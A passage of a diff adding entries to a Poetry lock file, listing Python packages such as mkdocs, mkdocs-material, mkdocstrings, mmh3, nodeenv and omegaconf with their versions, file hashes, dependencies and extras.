"sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e"}, + {file = "mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2"}, +] + +[package.dependencies] +click = ">=7.0" +colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""} +ghp-import = ">=1.0" +jinja2 = ">=2.11.1" +markdown = ">=3.3.6" +markupsafe = ">=2.0.1" +mergedeep = ">=1.3.4" +mkdocs-get-deps = ">=0.2.0" +packaging = ">=20.5" +pathspec = ">=0.11.1" +pyyaml = ">=5.1" +pyyaml-env-tag = ">=0.1" +watchdog = ">=2.0" + +[package.extras] +i18n = ["babel (>=2.9.0)"] +min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform_system == \"Windows\"", "ghp-import (==1.0)", "importlib-metadata (==4.4) ; python_version < \"3.10\"", "jinja2 (==2.11.1)", "markdown (==3.3.6)", "markupsafe (==2.0.1)", "mergedeep (==1.3.4)", "mkdocs-get-deps (==0.2.0)", "packaging (==20.5)", "pathspec (==0.11.1)", "pyyaml (==5.1)", "pyyaml-env-tag (==0.1)", "watchdog (==2.0)"] + +[[package]] +name = "mkdocs-autorefs" +version = "1.4.4" +description = "Automatically link across pages in MkDocs." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "mkdocs_autorefs-1.4.4-py3-none-any.whl", hash = "sha256:834ef5408d827071ad1bc69e0f39704fa34c7fc05bc8e1c72b227dfdc5c76089"}, + {file = "mkdocs_autorefs-1.4.4.tar.gz", hash = "sha256:d54a284f27a7346b9c38f1f852177940c222da508e66edc816a0fa55fc6da197"}, +] + +[package.dependencies] +Markdown = ">=3.3" +markupsafe = ">=2.0.1" +mkdocs = ">=1.1" + +[[package]] +name = "mkdocs-extra-sass-plugin" +version = "0.1.0" +description = "This plugin adds stylesheets to your mkdocs site from `Sass`/`SCSS`." +optional = false +python-versions = ">=3.6" +groups = ["docs"] +files = [ + {file = "mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219"}, + {file = "mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db"}, +] + +[package.dependencies] +beautifulsoup4 = ">=4.6.3" +libsass = ">=0.15" +mkdocs = ">=1.1" + +[[package]] +name = "mkdocs-get-deps" +version = "0.2.2" +description = "An extra command for MkDocs that infers required PyPI packages from `plugins` in mkdocs.yml" +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "mkdocs_get_deps-0.2.2-py3-none-any.whl", hash = "sha256:e7878cbeac04860b8b5e0ca31d3abad3df9411a75a32cde82f8e44b6c16ff650"}, + {file = "mkdocs_get_deps-0.2.2.tar.gz", hash = "sha256:8ee8d5f316cdbbb2834bc1df6e69c08fe769a83e040060de26d3c19fad3599a1"}, +] + +[package.dependencies] +mergedeep = ">=1.3.4" +platformdirs = ">=2.2.0" +pyyaml = ">=5.1" + +[[package]] +name = "mkdocs-material" +version = "9.7.6" +description = "Documentation that simply works" +optional = false +python-versions = ">=3.8" +groups = ["docs"] +files = [ + {file = "mkdocs_material-9.7.6-py3-none-any.whl", hash = "sha256:71b84353921b8ea1ba84fe11c50912cc512da8fe0881038fcc9a0761c0e635ba"}, + {file = "mkdocs_material-9.7.6.tar.gz", hash = "sha256:00bdde50574f776d328b1862fe65daeaf581ec309bd150f7bff345a098c64a69"}, +] + +[package.dependencies] +babel = ">=2.10" +backrefs = ">=5.7.post1" +colorama = ">=0.4" +jinja2 = ">=3.1" +markdown = ">=3.2" +mkdocs = ">=1.6,<2" +mkdocs-material-extensions = ">=1.3" +paginate = ">=0.5" +pygments = ">=2.16" +pymdown-extensions = ">=10.2" +requests = ">=2.30" + +[package.extras] +git = ["mkdocs-git-committers-plugin-2 (>=1.1)", "mkdocs-git-revision-date-localized-plugin (>=1.2.4)"] +imaging = ["cairosvg (>=2.6)", "pillow (>=10.2)"] +recommended = ["mkdocs-minify-plugin (>=0.7)", "mkdocs-redirects (>=1.2)", "mkdocs-rss-plugin (>=1.6)"] + +[[package]] +name = "mkdocs-material-extensions" +version = "1.3.1" +description = "Extension pack for Python Markdown and MkDocs Material." +optional = false +python-versions = ">=3.8" +groups = ["docs"] +files = [ + {file = "mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31"}, + {file = "mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443"}, +] + +[[package]] +name = "mkdocstrings" +version = "1.0.4" +description = "Automatic documentation from sources, for MkDocs." +optional = false +python-versions = ">=3.10" +groups = ["docs"] +files = [ + {file = "mkdocstrings-1.0.4-py3-none-any.whl", hash = "sha256:63464b4b29053514f32a1dbbf604e52876d5e638111b0c295ab7ed3cac73ca9b"}, + {file = "mkdocstrings-1.0.4.tar.gz", hash = "sha256:3969a6515b77db65fd097b53c1b7aa4ae840bd71a2ee62a6a3e89503446d7172"}, +] + +[package.dependencies] +Jinja2 = ">=3.1" +Markdown = ">=3.6" +MarkupSafe = ">=1.1" +mkdocs = ">=1.6" +mkdocs-autorefs = ">=1.4" +pymdown-extensions = ">=6.3" + +[package.extras] +crystal = ["mkdocstrings-crystal (>=0.3.4)"] +python = ["mkdocstrings-python (>=1.16.2)"] +python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"] + +[[package]] +name = "mkdocstrings-python" +version = "2.0.3" +description = "A Python handler for mkdocstrings." +optional = false +python-versions = ">=3.10" +groups = ["docs"] +files = [ + {file = "mkdocstrings_python-2.0.3-py3-none-any.whl", hash = "sha256:0b83513478bdfd803ff05aa43e9b1fca9dd22bcd9471f09ca6257f009bc5ee12"}, + {file = "mkdocstrings_python-2.0.3.tar.gz", hash = "sha256:c518632751cc869439b31c9d3177678ad2bfa5c21b79b863956ad68fc92c13b8"}, +] + +[package.dependencies] +griffelib = ">=2.0" +mkdocs-autorefs = ">=1.4" +mkdocstrings = ">=0.30" +typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} + +[[package]] +name = "mmh3" +version = "5.2.1" +description = "Python extension for MurmurHash (MurmurHash3), a set of fast and robust hash functions." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "mmh3-5.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f"}, + {file = "mmh3-5.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb"}, + {file = "mmh3-5.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c"}, + {file = "mmh3-5.2.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045"}, + {file = "mmh3-5.2.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f"}, + {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386"}, + {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a"}, + {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0"}, + {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb"}, + {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890"}, + {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a"}, + {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5"}, + {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57"}, + {file = "mmh3-5.2.1-cp310-cp310-win32.whl", hash = "sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518"}, + {file = "mmh3-5.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f"}, + {file = "mmh3-5.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0"}, + {file = "mmh3-5.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450"}, + {file = "mmh3-5.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0"}, + {file = "mmh3-5.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082"}, + {file = "mmh3-5.2.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e080c0637aea036f35507e803a4778f119a9b436617694ae1c5c366805f1e997"}, + {file = "mmh3-5.2.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d"}, + {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e"}, + {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d"}, + {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4"}, + {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15"}, + {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:915e7a2418f10bd1151b1953df06d896db9783c9cfdb9a8ee1f9b3a4331ab503"}, + {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2"}, + {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1"}, + {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38"}, + {file = "mmh3-5.2.1-cp311-cp311-win32.whl", hash = "sha256:baeb47635cb33375dee4924cd93d7f5dcaa786c740b08423b0209b824a1ee728"}, + {file = "mmh3-5.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a"}, + {file = "mmh3-5.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:c302245fd6c33d96bd169c7ccf2513c20f4c1e417c07ce9dce107c8bc3f8411f"}, + {file = "mmh3-5.2.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1"}, + {file = "mmh3-5.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4eda76074cfca2787c8cf1bec603eaebdddd8b061ad5502f85cddae998d54f00"}, + {file = "mmh3-5.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7"}, + {file = "mmh3-5.2.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b"}, + {file = "mmh3-5.2.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006"}, + {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825"}, + {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a"}, + {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b"}, + {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166"}, + {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62815d2c67f2dd1be76a253d88af4e1da19aeaa1820146dec52cf8bee2958b16"}, + {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211"}, + {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000"}, + {file = "mmh3-5.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5"}, + {file = "mmh3-5.2.1-cp312-cp312-win32.whl", hash = "sha256:7374d6e3ef72afe49697ecd683f3da12f4fc06af2d75433d0580c6746d2fa025"}, + {file = "mmh3-5.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:3a9fed49c6ce4ed7e73f13182760c65c816da006debe67f37635580dfb0fae00"}, + {file = "mmh3-5.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:bbfcb95d9a744e6e2827dfc66ad10e1020e0cac255eb7f85652832d5a264c2fc"}, + {file = "mmh3-5.2.1-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:723b2681ed4cc07d3401bbea9c201ad4f2a4ca6ba8cddaff6789f715dd2b391e"}, + {file = "mmh3-5.2.1-cp313-cp313-android_21_x86_64.whl", hash = "sha256:3619473a0e0d329fd4aec8075628f8f616be2da41605300696206d6f36920c3d"}, + {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6"}, + {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f"}, + {file = "mmh3-5.2.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8"}, + {file = "mmh3-5.2.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6"}, + {file = "mmh3-5.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9"}, + {file = "mmh3-5.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03"}, + {file = "mmh3-5.2.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fd96476f04db5ceba1cfa0f21228f67c1f7402296f0e73fee3513aa680ad237b"}, + {file = "mmh3-5.2.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5"}, + {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593"}, + {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4"}, + {file = "mmh3-5.2.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1"}, + {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104"}, + {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7e4e1f580033335c6f76d1e0d6b56baf009d1a64d6a4816347e4271ba951f46d"}, + {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f"}, + {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2"}, + {file = "mmh3-5.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a"}, + {file = "mmh3-5.2.1-cp313-cp313-win32.whl", hash = "sha256:54b64fb2433bc71488e7a449603bf8bd31fbcf9cb56fbe1eb6d459e90b86c37b"}, + {file = "mmh3-5.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:cae6383181f1e345317742d2ddd88f9e7d2682fa4c9432e3a74e47d92dce0229"}, + {file = "mmh3-5.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d"}, + {file = "mmh3-5.2.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:d771f085fcdf4035786adfb1d8db026df1eb4b41dac1c3d070d1e49512843227"}, + {file = "mmh3-5.2.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:7f196cd7910d71e9d9860da0ff7a77f64d22c1ad931f1dd18559a06e03109fc0"}, + {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b1f12bd684887a0a5d55e6363ca87056f361e45451105012d329b86ec19dbe0b"}, + {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d106493a60dcb4aef35a0fac85105e150a11cf8bc2b0d388f5a33272d756c966"}, + {file = "mmh3-5.2.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:44983e45310ee5b9f73397350251cdf6e63a466406a105f1d16cb5baa659270b"}, + {file = "mmh3-5.2.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:368625fb01666655985391dbad3860dc0ba7c0d6b9125819f3121ee7292b4ac8"}, + {file = "mmh3-5.2.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:72d1cc63bcc91e14933f77d51b3df899d6a07d184ec515ea7f56bff659e124d7"}, + {file = "mmh3-5.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e8b4b5580280b9265af3e0409974fb79c64cf7523632d03fbf11df18f8b0181e"}, + {file = "mmh3-5.2.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4cbbde66f1183db040daede83dd86c06d663c5bb2af6de1142b7c8c37923dd74"}, + {file = "mmh3-5.2.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8ff038d52ef6aa0f309feeba00c5095c9118d0abf787e8e8454d6048db2037fc"}, + {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4130d0b9ce5fad6af07421b1aecc7e079519f70d6c05729ab871794eded8617"}, + {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e0bfe77d238308839699944164b96a2eeccaf55f2af400f54dc20669d8d5f2"}, + {file = "mmh3-5.2.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f963eafc0a77a6c0562397da004f5876a9bcf7265a7bcc3205e29636bc4a1312"}, + {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:92883836caf50d5255be03d988d75bc93e3f86ba247b7ca137347c323f731deb"}, + {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:57b52603e89355ff318025dd55158f6e71396c0f1f609d548e9ea9c94cc6ce0a"}, + {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f40a95186a72fa0b67d15fef0f157bfcda00b4f59c8a07cbe5530d41ac35d105"}, + {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:58370d05d033ee97224c81263af123dea3d931025030fd34b61227a768a8858a"}, + {file = "mmh3-5.2.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7be6dfb49e48fd0a7d91ff758a2b51336f1cd21f9d44b20f6801f072bd080cdd"}, + {file = "mmh3-5.2.1-cp314-cp314-win32.whl", hash = "sha256:54fe8518abe06a4c3852754bfd498b30cc58e667f376c513eac89a244ce781a4"}, + {file = "mmh3-5.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:3f796b535008708846044c43302719c6956f39ca2d93f2edda5319e79a29efbb"}, + {file = "mmh3-5.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:cd471ede0d802dd936b6fab28188302b2d497f68436025857ca72cd3810423fe"}, + {file = "mmh3-5.2.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:5174a697ce042fa77c407e05efe41e03aa56dae9ec67388055820fb48cf4c3ba"}, + {file = "mmh3-5.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00"}, + {file = "mmh3-5.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bd6e7d363aa93bd3421b30b6af97064daf47bc96005bddba67c5ffbc6df426b8"}, + {file = "mmh3-5.2.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc"}, + {file = "mmh3-5.2.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e8ec5f606e0809426d2440e0683509fb605a8820a21ebd120dcdba61b74ef7f"}, + {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44"}, + {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:85ffc9920ffc39c5eee1e3ac9100c913a0973996fbad5111f939bbda49204bb7"}, + {file = "mmh3-5.2.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7aec798c2b01aaa65a55f1124f3405804184373abb318a3091325aece235f67c"}, + {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac"}, + {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912"}, + {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf"}, + {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d"}, + {file = "mmh3-5.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18"}, + {file = "mmh3-5.2.1-cp314-cp314t-win32.whl", hash = "sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82"}, + {file = "mmh3-5.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb"}, + {file = "mmh3-5.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b"}, + {file = "mmh3-5.2.1.tar.gz", hash = "sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad"}, +] + +[package.extras] +benchmark = ["pymmh3 (==0.0.5)", "pyperf (==2.10.0)", "xxhash (==3.6.0)"] +docs = ["myst-parser (==5.0.0)", "shibuya (==2026.1.9)", "sphinx (==8.2.3)", "sphinx-copybutton (==0.5.2)"] +lint = ["actionlint-py (==1.7.11.24)", "clang-format (==22.1.0)", "codespell (==2.4.1)", "pylint (==4.0.5)", "ruff (==0.15.4)"] +plot = ["matplotlib (==3.10.8)", "pandas (==3.0.1)"] +test = ["pytest (==9.0.2)", "pytest-sugar (==1.1.1)"] +type = ["mypy (==1.19.1)"] + +[[package]] +name = "nodeenv" +version = "1.10.0" +description = "Node.js virtual environment builder" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["dev"] +files = [ + {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"}, + {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"}, +] + +[[package]] +name = "omegaconf" +version = "2.3.0" +description = "A flexible configuration library" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b"}, + {file = "omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7"}, +] + +[package.dependencies] +antlr4-python3-runtime = "==4.9.*" +PyYAML = ">=5.1.0" + +[[package]] +name = "orderly-set" +version = "5.5.0" +description = "Orderly set" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"}, + {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"}, +] + +[package.extras] +coverage = ["coverage (>=7.6.0,<7.7.0)"] +dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"] +optimize = ["orjson"] +static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject 